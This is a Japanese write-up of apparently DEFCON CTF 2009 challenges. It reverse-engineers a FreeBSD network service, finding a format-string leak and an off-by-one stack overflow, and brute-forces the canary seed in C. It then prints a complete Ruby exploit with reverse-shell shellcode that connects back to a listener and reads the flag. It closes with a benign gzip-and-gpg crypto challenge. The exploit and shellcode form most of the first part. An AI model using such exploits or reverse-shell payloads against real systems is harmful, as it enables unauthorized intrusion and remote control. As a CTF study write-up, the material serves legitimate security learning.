client_callbackがクライアントとのやり取りを行う
ポートが分かったので実行し、試しにncで接続
$ nc 172.17.0.1 3663 Mon Mar 16 08:23:16 2009 Press enter to continue: AAAA(入力) AA (出力) BBBB(入力)
現在の時間と"Press enter to continue:"が出力される
AAAAという4バイトを入力すると最初の2バイトが出力
2度目の入力でBBBBを渡すと何も起こらず終了
client_callbackを解析
.text:08049550 client_callback proc near .text:08049550 .text:08049550 var_14 = dword ptr -14h .text:08049550 timer = dword ptr -10h .text:08049550 format = byte ptr -0Ch .text:08049550 var_A = byte ptr -0Ah .text:08049550 var_9 = byte ptr -9 .text:08049550 var_8 = dword ptr -8 .text:08049550 stream = dword ptr -4 .text:08049550 fd = dword ptr 8 .text:08049550 .text:08049550 push ebp .text:08049551 mov ebp, esp .text:08049553 sub esp, 28h .text:08049556 mov [ebp+var_8], 0 .text:0804955D lea eax, [ebp+timer] .text:08049560 mov [esp], eax .text:08049563 call _time .text:08049568 lea eax, [ebp+timer] .text:0804956B mov [esp], eax .text:0804956E call _ctime .text:08049573 mov [esp+8], eax .text:08049577 mov dword ptr [esp+4], offset aS ; "%s" .text:0804957F mov eax, [ebp+fd] .text:08049582 mov [esp], eax .text:08049585 call sendFormat .text:0804958A call get_random_int .text:0804958F mov ds:global_canary, eax .text:08049594 mov eax, ds:global_canary .text:08049599 mov [esp], eax .text:0804959C call _srand .text:080495A1 call _rand .text:080495A6 mov [ebp+var_8], eax .text:080495A9 mov dword ptr [esp+8], 0 .text:080495B1 mov dword ptr [esp+4], "Press enter to continue: \n" .text:080495B9 mov eax, [ebp+fd] .text:080495BC mov [esp], eax .text:080495BF call sendMsg .text:080495C4 mov dword ptr [esp+0Ch], 0Ah .text:080495CC mov dword ptr [esp+8], 4 .text:080495D4 lea eax, [ebp+format] .text:080495D7 mov [esp+4], eax .text:080495DB mov eax, [ebp+fd] .text:080495DE mov [esp], eax .text:080495E1 call read_until_delim .text:080495E6 test eax, eax .text:080495E8 jns short loc_8049601 .text:080495EA mov eax, [ebp+fd] .text:080495ED mov [esp], eax .text:080495F0 call _close .text:080495F5 mov [ebp+var_14], 0 .text:080495FC jmp loc_8049682
関数呼び出しの順番
time、ctime、sendFormat、get_random_int、srand、rand、sendMsg
そしてread_until_delimが呼ばれる
time、ctime、sendFormatで現在時間をクライアントへ送信
get_random_int、srand、randで乱数を生成
.text:0804958A call get_random_int .text:0804958F mov ds:global_canary, eax .text:08049594 mov eax, ds:global_canary .text:08049599 mov [esp], eax .text:0804959C call _srand .text:080495A1 call _rand .text:080495A6 mov [ebp+var_8], eax
get_random_intの戻り値をglobal_canaryに入れる
srand(global_canary)を実行後、randの戻り値をvar_8へ入れる
get_random_intは/dev/urandomから乱数を取得する関数
.text:08049390 get_random_int proc near .text:08049390 .text:08049390 buf = dword ptr -8 .text:08049390 fd = dword ptr -4 .text:08049390 .text:08049390 push ebp .text:08049391 mov ebp, esp .text:08049393 sub esp, 28h .text:08049396 mov dword ptr [esp+4], 0 .text:0804939E mov dword ptr [esp], "/dev/urandom" .text:080493A5 call _open .text:080493AA mov [ebp+fd], eax ########################################################### ################## fd = open("/dev/urandom", 0); ########################################################### .text:080493AD mov [ebp+buf], 0 .text:080493B4 cmp [ebp+fd], 0 .text:080493B8 jns short loc_80493FC ########################################################### ################## buf = 0; ################## if(fd >= 0) ################## goto loc_80493FC; ########################################################### .text:080493BA mov dword ptr [esp], 1 .text:080493C1 call _exit .text:080493C6 .text:080493C6 loc_80493C6: .text:080493C6 mov dword ptr [esp+8], 4 .text:080493CE lea eax, [ebp+buf] .text:080493D1 mov [esp+4], eax .text:080493D5 mov eax, [ebp+fd] .text:080493D8 mov [esp], eax .text:080493DB call _read ########################################################### ################## eax = read(fd, &buf, 4); ########################################################### .text:080493E0 cmp eax, 4 .text:080493E3 jz short loc_80493FC ########################################################### ################## if(eax == 4) ################## goto loc_80493FC; ########################################################### .text:080493E5 mov eax, [ebp+fd] .text:080493E8 mov [esp], eax .text:080493EB call _close .text:080493F0 mov dword ptr [esp], 1 .text:080493F7 call _exit .text:080493FC .text:080493FC loc_80493FC: .text:080493FC mov eax, [ebp+buf] .text:080493FF cmp eax, 3 .text:08049402 jbe short loc_80493C6 ########################################################### ################## if(buf <= 3) ################## goto loc_80493C6 ########################################################### .text:08049404 mov eax, [ebp+fd] .text:08049407 mov [esp], eax .text:0804940A call _close .text:0804940F mov eax, [ebp+buf] .text:08049412 shr eax, 1 .text:08049414 leave .text:08049415 retn ########################################################### ################## return (buf >> 1); ###########################################################
/dev/urandomから4バイト取得
最後に1ビット右シフトしているため乱数の範囲は0x04〜0x7FFFFFFF
global_canaryには0x04〜0x7FFFFFFFのいずれかの値が入る
var_8にはsrand(global_canary)後のrand()の戻り値が入る
global_canary = get_random_int(); // 0x04..0x7FFFFFFF srand(global_canary); var_8 = rand();
乱数を生成したら
次はsendMsgで"Press enter to continue: \n"をクライアントへ送信
そしてread_until_delimを呼び出し
.text:080495C4 mov dword ptr [esp+0Ch], 0Ah .text:080495CC mov dword ptr [esp+8], 4 .text:080495D4 lea eax, [ebp+format] .text:080495D7 mov [esp+4], eax .text:080495DB mov eax, [ebp+fd] .text:080495DE mov [esp], eax .text:080495E1 call read_until_delim ########################################################### ################## read_until_delim(fd, var_0Ch, 4, 0x0a); ########################################################### .text:080495E6 test eax, eax .text:080495E8 jns short loc_8049601
read_until_delimに渡す引数は4つ
ソケットハンドル、取得データの格納先、最大サイズ、終端文字
クライアントからのデータに対して
終端文字が見つかる or 最大サイズに達する
という条件が満たされるまでrecvする
改行(0x0a)を使わなければ
var_0Ch(format)、var_0Bh、var_0Ah、var_09h
の4バイトにデータを入れることが可能
ただしvar_0Ah、var_09hは次の処理にて0x0Aと0x00に初期化される
.text:08049601 loc_8049601: .text:08049601 mov [ebp+var_A], 0Ah .text:08049605 mov [ebp+var_9], 0
よって実質2バイトのみ有効
.text:08049609 mov dword ptr [esp+4], "r+" .text:08049611 mov eax, [ebp+fd] .text:08049614 mov [esp], eax .text:08049617 call _fdopen .text:0804961C mov [ebp+stream], eax .text:0804961F cmp [ebp+stream], 0 .text:08049623 jnz short loc_8049631 ########################################################### ################## stream = fdopen("r+"); ################## if(stream != 0) ################## goto loc_8049631; ########################################################### .text:08049625 mov dword ptr [esp], 1 .text:0804962C call _exit .text:08049631 .text:08049631 loc_8049631: .text:08049631 mov eax, [ebp+var_8] .text:08049634 mov [esp+8], eax .text:08049638 lea eax, [ebp+format] .text:0804963B mov [esp+4], eax .text:0804963F mov eax, [ebp+stream] .text:08049642 mov [esp], eax .text:08049645 call _fprintf .text:0804964A mov eax, [ebp+stream] .text:0804964D mov [esp], eax .text:08049650 call _fflush ########################################################### ################## fprintf(stream, var_0Ch, var_8); ################## fflush(stream); ########################################################### .text:08049655 mov eax, [ebp+fd] .text:08049658 mov [esp], eax .text:0804965B call handle_client ########################################################### ################## handle_client(fd); ########################################################### .text:08049660 mov eax, [ebp+stream] .text:08049663 mov [esp], eax .text:08049666 call _fclose .text:0804966B test eax, eax .text:0804966D jz short loc_804967B ########################################################### ################## if(fclose(stream) == 0) ################## goto loc_804967B; ########################################################### .text:0804966F mov dword ptr [esp], 1 .text:08049676 call _exit .text:0804967B .text:0804967B loc_804967B: .text:0804967B mov [ebp+var_14], 0 .text:08049682 .text:08049682 loc_8049682: .text:08049682 mov eax, [ebp+var_14] .text:08049685 leave .text:08049686 retn
fprintf関数に渡される2番目の引数はvar_0Ch、3番目はvar_8
var_0Chはクライアントからの入力値、var_8はrand()の戻り値
つまり"%x"を入れるとrandの戻り値が表示される
$ nc 172.17.0.100 3663 Mon Mar 16 08:51:42 2009 Press enter to continue: %x 381c930a
randの戻り値からブルートフォースでglobal_canaryが取得できる
$ cat rand.c #include <stdio.h> int main(void) { unsigned int i; for(i=4; i <= 0x7FFFFFFF; i++){ srand(i); if(0x381C930A == rand()){ printf("global_canary = %x\n", i); break; } } return 0; } $ gcc rand.c -o rand $ time ./rand global_canary = 1251cbd3 5.48 real 5.44 user 0.00 sys
5秒程度でglobal_canaryを算出できた
次はhandle_client関数を見ていく
.text:08049420 handle_client proc near .text:08049420 .text:08049420 buff = dword ptr -70h .text:08049420 var_6C = byte ptr -6Ch .text:08049420 var_6B = byte ptr -6Bh .text:08049420 var_4 = dword ptr -4 .text:08049420 fd = dword ptr 8 .text:08049420 .text:08049420 push ebp .text:08049421 mov ebp, esp .text:08049423 sub esp, 88h .text:08049429 mov [ebp+var_6C], 64h .text:0804942D mov [ebp+var_4], 30A0E82h .text:08049434 mov eax, [ebp+var_4] .text:08049437 xor eax, 804E7FFh .text:0804943C mov [ebp+var_4], eax ########################################################### ################## var_6Ch = 100; ################## var_4 = 0x30A0E82 ^ 0x804E7FF; ########################################################### .text:0804943F mov eax, ds:global_canary .text:08049444 mov [ebp+buff], eax .text:08049447 mov dword ptr [esp+8], 64h .text:0804944F mov dword ptr [esp+4], 0 .text:08049457 lea eax, [ebp+buff] .text:0804945A add eax, 5 .text:0804945D mov [esp], eax .text:08049460 call _memset ########################################################### ################## var_70h = global_canary; ################## eax = var_6Bh(&var_70h+5); ################## memset(eax, 0, 100); ########################################################### .text:08049465 mov edi, eax .text:08049467 jmp short loc_8049485 .text:08049469 .text:08049469 loc_8049469: .text:08049469 movzx eax, [ebp+var_6C] .text:0804946D sub eax, 1 .text:08049470 mov [ebp+var_6C], al .text:08049473 movzx eax, [ebp+var_6C] .text:08049477 movsx edx, al .text:0804947A movzx eax, ds:single_char .text:08049481 mov [ebp+edx+var_6B], al .text:08049485 .text:08049485 loc_8049485: .text:08049485 mov eax, [ebp+fd] .text:08049488 mov [esp], eax .text:0804948B call get_char .text:08049490 mov ds:single_char, al .text:08049495 movzx eax, ds:single_char .text:0804949C cmp al, 0Ah .text:0804949E jz short loc_80494A8 .text:080494A0 movzx eax, [ebp+var_6C] .text:080494A4 test al, al .text:080494A6 jns short loc_8049469 ########################################################### ################## goto loc_8049485; ################## while(1){ ################## var_6Ch--; ################## *(var_6Ch + &var_6B) = single_char; ################## loc_8049485: ################## single_char = get_char(fd); ################## if(single_char == 0x0A) ################## break; ################## if(var_6Ch < 0) ################## break; ################## } ########################################################### .text:080494A8 .text:080494A8 loc_80494A8: .text:080494A8 mov eax, [ebp+buff] .text:080494AB mov [esp], eax .text:080494AE call _srand .text:080494B3 call _rand .text:080494B8 mov ds:rand1, eax .text:080494BD mov eax, [ebp+var_4] .text:080494C0 mov [esp], eax .text:080494C3 call _srand .text:080494C8 call _rand .text:080494CD mov ds:rand2, eax ########################################################### ################## srand(var_70h); rand1 = rand(); ################## srand(var_4); rand2 = rand(); ########################################################### .text:080494D2 mov edx, ds:rand1 .text:080494D8 mov eax, ds:rand2 .text:080494DD cmp edx, eax .text:080494DF jnz short loc_80494EB ########################################################### ################## if(rand1 != rand2) ################## goto loc_80494EB; // exit(2) ########################################################### .text:080494E1 mov edx, [ebp+buff] .text:080494E4 mov eax, [ebp+var_4] .text:080494E7 cmp edx, eax .text:080494E9 jnz short locret_80494F7 ########################################################### ################## if(var_70h != var_4) ################## goto locret_80494F7; // return ########################################################### .text:080494EB .text:080494EB loc_80494EB: .text:080494EB mov dword ptr [esp], 2 .text:080494F2 call _exit .text:080494F7 .text:080494F7 locret_80494F7: .text:080494F7 leave .text:080494F8 retn
まずoff by oneの脆弱性がひとつある
goto loc_8049485; while(1){ var_6Ch--; *(var_6Ch + &var_6B) = single_char; loc_8049485: single_char = get_char(fd); if(single_char == 0x0A) break; if(var_6Ch < 0) break; }
var_6Chは初期値0x64であるため、
1回目のループ時:var_8(0x63 + &var_6Bh) = single_char
2回目のループ時:var_9(0x62 + &var_6Bh) = single_char
3回目のループ時:var_Ah(0x61 + &var_6Bh) = single_char
....
0x63回目のループ時:var_6Ah(0x1 + &var_6Bh) = single_char
0x64回目のループ時:var_6Bh(0x0 + &var_6Bh) = single_char
この時点ですでに0x64バイト分終了(var_6Chは0x0である)
ここでloc_8049485以降を処理すると
var_6Chはまだ0であるためif(var_6Ch < 0)を満たさない
つまりbreakせず、再びwhileの先頭へ戻る
0x65回目のループ時:var_6Ch(-1 + &var_6Bh) = single_char
1バイトのオーバーフローによりvar_6Chが書き換え可能
このvar_6Chはchar型の最大値0x7Fまで設定可能
つまり(0x7F + &var_6Bh)まで書き換えできる
-0000000000000070 buff dd ? -000000000000006C var_6C db ? -000000000000006B var_6B db ? ; (0x0 + &var_6Bh) -000000000000006A db ? ; (0x1 + &var_6Bh) (省略) -0000000000000008 db ? ; (0x63 + &var_6Bh) -0000000000000007 db ? ; (0x64 + &var_6Bh) -0000000000000006 db ? ; (0x65 + &var_6Bh) -0000000000000005 db ? ; (0x66 + &var_6Bh) -0000000000000004 var_4 dd ? ; (0x67 + &var_6Bh) +0000000000000000 s db 4 ; (0x6B-0x6F + &var_6Bh) +0000000000000004 r db 4 ; (0x6F-0x73 + &var_6Bh) +0000000000000008 fd dd ?
0x7F範囲内(0x6F-0x73)に関数のretアドレスがある
off by oneによりret書き換え可能、任意のshellcodeへ飛ばせる
srand(var_70h); // var_70h = global_canary rand1 = rand(); srand(var_4); // var_4 = 0x30A0E82 ^ 0x804E7FF rand2 = rand(); if(rand1 != rand2) exit(2); if(var_70h == var_4) exit(2);
exitを呼び出されたらretを書き換えても意味がない
正常に関数を終わらせるためには2つの条件をクリアする必要がある
1、rand1とrand2は同じにしなければならない
var_4は 0x30A0E82 ^ 0x804E7FF の固定値だが、
0x7F範囲内であるため書き換え可能
global_canaryは%xで取得したrand値からブルートフォースで取得可
2、global_canaryとvar_4は異ならなければならない
FreeBSDにおいては、乱数生成器の関係上、
srandに渡す種の差が0x7FFFFFFFあれば同じrand値を返す
$ cat rand2.c #include <stdio.h> int main(void) { srand(0xFFFFFFF0); printf("%08x = ", rand()); srand(0x7FFFFFF1); printf("%08x\n", rand()); return 0; } $ gcc rand2.c -o rand2 $ ./rand2 7ffc68dd = 7ffc68dd
以上のことから以下のアタックフローを作成できる
(1)1度目の入力時に"%x"を入力しglobal_canaryのrand値を取得
(2)(1)のrand値からブルートフォースによりglobal_canaryを取得
(3)2度目の入力時に0x65バイトを送り、最後の1バイトを0x73にする
(4)off by oneにより再入力が発生
(5)var_4をglobal_canary + 0x7FFFFFFFの値に変更
(6)NOP + shellcode + var_4 + retを0x73の範囲に書き込み
(7)関数から抜けretに戻る際にshellcodeが実行される
まず、global_canaryを取得するプログラムをCで作成
$ cat get_global_canary.c #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { unsigned long i, n; if(argc < 2) return 1; n = strtoul(argv[1], NULL, 16); for(i=4; i <= 0x7FFFFFFF; i++){ srand(i); if(n == rand()){ printf("%x\n", (unsigned int)i); break; } } return 0; } $ gcc -Wall get_global_canary.c -o get_global_canary
続いてexploit本体(Rubyで作成)
$ cat exp.rb #!/usr/bin/ruby require "socket" begin sock = TCPSocket.open(ARGV[0], 3663) rescue puts "TCPSocket.open failed: #$!\n" else print "RECV: " + sock.gets print "RECV: " + sock.gets ## send "%x" + LF f2byte = "%x\n" sock.write f2byte print "SEND: " + f2byte ## recv rand1 rand1str = sock.gets rand1str.chomp! print "RECV: " + rand1str + "\n" rand1 = rand1str.hex ## calc global_canary global_canary_str = "" IO.popen("./get_global_canary 0x" + rand1str, "r+") do |io| global_canary_str = io.gets global_canary_str.chomp! end global_canary = global_canary_str.hex ## get val_4 val_4 = global_canary + 0x7fffffff val_4_str = val_4.to_s(16) print "STAT: global_canary = " + global_canary_str + "\n" print "STAT: val_4 = " + val_4_str + "\n" ## send 0x65 bytes for i in 1..100 sock.write "A" end sock.write "s" ## 0x73 print "SEND: A*64 + 0x73\n" ## send 0x73 bytes ## <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret> addr = ARGV[1].split(".").collect{|c| c.to_i}.pack("C4") port = [ARGV[2].to_i].pack("n") ## LF 1byte shell = "\x0a" ## NOP 32byte for i in 1..32 shell += "\x90" end ## shell 70byte shell += "\x03\xe5" ## add esp,ebp shell += "\x6a\x61\x58\x99\x52\x42\x52\x42" shell += "\x52\x68" + addr + "\xcd\x80" shell += "\x68\x10\x02"+port+"\x89\xe1\x6a" shell += "\x10\x51\x50\x51\x97\x6a\x62\x58" shell += "\xcd\x80\x6a\x02\x59\xb0\x5a\x51" shell += "\x57\x51\xcd\x80\x49\x79\xf6\x50" shell += "\x68\x2f\x2f\x73\x68\x68\x2f\x62" shell += "\x69\x6e\x89\xe3\x50\x54\x53\x53" shell += "\xb0\x3b\xcd\x80" ## var_4 + ebp + ret shell += [val_4].pack("L") ## val_4 shell += "\x00\x10\x00\x00" ## ebp shell += [ARGV[3].hex].pack("L") ## ret sock.write shell.unpack("C*").reverse.collect{|c| c.to_i}.pack("C*") print "SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>\n" sock.close() end
172.17.0.100で問題ファイルを実行
reverse shellを使うため適当なマシンを用意してポート待ち受け
// Ubuntu Linux (172.17.11.226) $ nc -lvp 7777 listening on [any] 7777 ...
続いてexploitを実行
引数は<ターゲットIP> <接続先IP> <接続先ポート>
$ ruby exp.rb 172.17.0.100 172.17.11.226 7777 bfbfebde RECV: Tue Apr 20 01:20:59 2010 RECV: Press enter to continue: SEND: %x RECV: 16ff2ac1 (数秒ウェイト) STAT: global_canary = 4f080308 STAT: val_4 = cf080307 SEND: A*64 + 0x73 SEND: <LF 1b><NOP 32b><shell 70b><var_4><ebp><ret>
shellcodeがうまく実行されれば
172.17.0.100から172.17.11.226:7777へconnectが行く
// Ubuntu Linux (172.17.11.226) $ nc -lvp 7777 listening on [any] 7777 ... 172.17.0.100: inverse host lookup failed: Unknown host connect to [172.17.11.226] from (UNKNOWN) [172.17.0.100] 49180 ls(入力) da6d6bf2e2058ec98f67bf6b0e608c79 KEY cat KEY $Hey: @tlas has this hours ago$
shell取得完了
KEYファイルの中にパスワードがある
"$Hey: @tlas has this hours ago$"が答え
DEFCON CTF 2009 Crypto 300
If your gang's pretty good, you'll work your way in.
http://shallweplayaga.me/crypto/354d8654372c0e5fff66803da7d9dfed
まず何のファイルか確認
$ file 354d8654372c0e5fff66803da7d9dfed 354d8654372c0e5fff66803da7d9dfed: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)
パケットファイルなのでwiresharkで確認するとHTTP通信が行われている
HTTPヘッダが特殊で "Content-Length: \r\n\t159\r\n" という感じ
RFC的には2行目以降の行の先頭にタブを入れれば複数行にまたがるヘッダもOK
$ hexdump -C 354d8654372c0e5fff66803da7d9dfed 00001510 20 17 50 f5 16 65 6e 74 2d 4c 65 6e 67 74 68 3a | .P..ent-Length:| 00001520 0d 0a 09 31 35 39 0d 0a 43 6f 6e 6e 65 63 74 69 |...159..Connecti| 00001530 6f 6e 3a 0d 0a 09 63 6c 6f 73 65 0d 0a 0d 0a 1f |on:...close.....| 00001540 8b 08 00 7b 07 20 4a 02 03 01 88 00 77 ff 1f 8b |...{. J.....w...|
サーバから159バイトのデータが送られているので取り出す
$ hexdump -C data 00000000 1f 8b 08 00 7b 07 20 4a 02 03 01 88 00 77 ff 1f |....{. J.....w..| 00000010 8b 08 18 32 02 20 4a 00 03 73 70 6f 6f 6e 00 d5 |...2. J..spoon..| 00000020 c4 84 31 1e 49 4a 8f 94 5a 9b 77 c3 49 df 94 00 |..1.IJ..Z.w.I...| 00000030 01 5a 00 a5 ff 8c 0d 04 03 03 02 d1 da e6 68 76 |.Z............hv| 00000040 56 41 34 60 c9 49 73 cb 86 35 89 d7 bf 58 ab 5b |VA4`.Is..5...X.[| 00000050 a2 40 fb b8 70 73 91 82 44 bc f7 d1 9a a3 29 09 |[email protected].....).| 00000060 53 2c 0c 48 4e d6 da 04 23 d3 0a 24 b8 3a eb b1 |S,.HN...#..$.:..| 00000070 76 86 c1 5f b1 da cf af a3 67 04 72 6a ea 45 10 |v.._.....g.rj.E.| 00000080 45 f9 29 e3 a2 a7 63 e9 41 b4 e2 b2 a7 7b 47 f5 |E.)...c.A....{G.| 00000090 6d 28 cf 5a 00 00 00 06 ed 23 a6 88 00 00 00 |m(.Z.....#.....| $ file data data: gzip compressed data, from Unix, last modified: Sat May 30 01:04:11 2009, max compression
送られているのはgzipで圧縮されたファイル
gzipで展開する
$ mv data data.gz $ gzip -d data.gz $ file data data: gzip compressed data, was "spoon", has comment, from Unix, comment, last modified: Sat May 30 00:41:38 2009
展開したら再びgzipで圧縮されたファイルとなる
今度はファイル名"spoon"、コメント有、らしい
GZIPファイルフォーマット
http://www.gzip.org/zlib/rfc-gzip.html
$ hexdump -C data 00000000 1f 8b 08 18 32 02 20 4a 00 03 73 70 6f 6f 6e 00 |....2. J..spoon.| 00000010 d5 c4 84 31 1e 49 4a 8f 94 5a 9b 77 c3 49 df 94 |...1.IJ..Z.w.I..| 00000020 00 01 5a 00 a5 ff 8c 0d 04 03 03 02 d1 da e6 68 |..Z............h|
ファイル名:73 70 6f 6f 6e(spoon)
コメント :d5 c4 84 31 1e 49 4a 8f 94 5a 9b 77 c3 49 df 94
再び展開する
$ cp data spoon.gz $ gzip -d spoon.gz $ file spoon spoon: data $ hexdump -C spoon 00000000 8c 0d 04 03 03 02 d1 da e6 68 76 56 41 34 60 c9 |.........hvVA4`.| 00000010 49 73 cb 86 35 89 d7 bf 58 ab 5b a2 40 fb b8 70 |Is..5...X.[[email protected]| 00000020 73 91 82 44 bc f7 d1 9a a3 29 09 53 2c 0c 48 4e |s..D.....).S,.HN| 00000030 d6 da 04 23 d3 0a 24 b8 3a eb b1 76 86 c1 5f b1 |...#..$.:..v.._.| 00000040 da cf af a3 67 04 72 6a ea 45 10 45 f9 29 e3 a2 |....g.rj.E.E.)..| 00000050 a7 63 e9 41 b4 e2 b2 a7 7b 47 |.c.A....{G| 0000005a
展開したらただのデータ列
暗号の問題(Crypto 300)であるため暗号文だと推測
gpgに渡してみる
$ gpg spoon gpg: CAST5暗号化済みデータ パスフレーズを入力: gpg: 1 個のパスフレーズで暗号化 gpg: 復号に失敗しました: 鍵が不正です
復号にはパスワードが必要
コメントに謎のデータ列があったためそれを使用
パスワードに"d5c484311e494a8f945a9b77c349df94"を入力
$ gpg spoon gpg: CAST5暗号化済みデータ gpg: 1 個のパスフレーズで暗号化 gpg: spoon: 未知の拡張子 新しいファイル名を入力してください [spoon]: spoon2 gpg: 警告: メッセージの完全性は保護されていません $ cat spoon2 The eggs are not a lie. NOT A LIE. The eggs are not a lie. NOT A LIE. The eggs are not a lie. NOT A LIE. ....
この"The eggs are not a lie. NOT A LIE."が答え